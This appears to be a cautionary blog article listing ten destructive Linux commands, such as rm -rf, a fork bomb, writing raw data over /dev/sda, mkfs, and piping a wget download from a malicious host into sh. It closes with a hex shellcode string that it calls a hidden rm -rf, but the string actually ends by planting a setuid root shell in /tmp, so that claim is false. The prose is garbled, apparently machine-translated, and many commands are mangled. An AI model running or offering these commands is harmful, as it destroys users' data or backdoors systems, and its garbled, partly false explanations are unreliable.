10 Most Dangerous Linux Commands You Should Never Execute
10 Most Dangerous Linux Commands You Should Never Execute

Linux command line is very productive, useful and interesting, but sometimes it can be very dangerous, especially when you are not sure of what you are doing. This article does not intend to make it angry Linux command line. This article is created to alert Linux users to some of the commands that you should think twice before executing them.



10 Most Dangerous Linux Commands You Should Never Execute

The command line in Linux is very productive, useful and interesting, however, it can sometimes be very dangerous, especially when dealing user root or user that can take most of their privileges, sudo. You must know exactly what you’re doing. This article was created to simply alert Linux users to some of the terminal commands, that every Linux user should think twice before executing them.

1. rm -rf

The rm -rf command is one of the fastest ways to delete a folder and its contents. But a little typing error or ignorance can result in unrecoverable damage to the system. Some of the options used with the rm command are like Rm -r command deletes the folder recursively, even the empty folder. rm -f Command removes “only read the file ‘without asking. It also has the power to eliminate all files present in the root directory.

2.: () {: |: &} ;:

The above command is the fork bomb. It operates by defining a function called ”, which is called twice, once in the foreground and once in the background. It keeps running again and again until the system freezes.

3. command> / dev / sda

The above command writes the output of ‘command on the block / dev / sda . The above command writes raw data and all files on the block will be replaced with raw data, resulting in total loss of data in the block.

4. mv directory / dev / null

This command basically moves all the files to / dev / null, yes, it means that it simply disappear all the files from the system.

5. wget http: // malicious_source -O | sh

The above command will download a script from a malicious source and then run it on your system. The Wget command will download the script and sh command will run the downloaded script on your system.

6. Mkfs.ext3 / dev / sda

The above command will simply format the block ‘sda’ and you will definitely know that after running the above command your Block (Hard Disk Drive) will be reset to NEW! Without the data, leaving the system in unrecoverable phase.

7. > File

The above command is used to release the file content. If the above command is executed with a typing error or ignorance as “> xt.conf” will write the configuration file or any other system or configuration file.

8. ^ foo ^ bar

This command is used to edit the previous command without the need to retype the entire command again. But it can be really problematic if you do not take the risk to carefully check the change in the original command using ^ ^ foo bar command.

9. dd if = / dev / random of = / dev / sda

The above command will end as / dev / sda and write random data for the block. Of course! Your system would be left in inconsistent and unrecoverable phase.

10. invisible Command

The following command is nothing more than the first command of this article ( rm-rf ). Here the codes are hidden in hex to an ignorant user can be fooled. Running the code below into your terminal and clear your root partition.

This command here shows that the threat can be hidden and usually undetectable sometimes. You should be aware of what you are doing and what would be the result. Not compile / run code from an unknown source.

char esp[] __attribute__ ((section(“.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ “cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;


COMMENTS

AUTHOR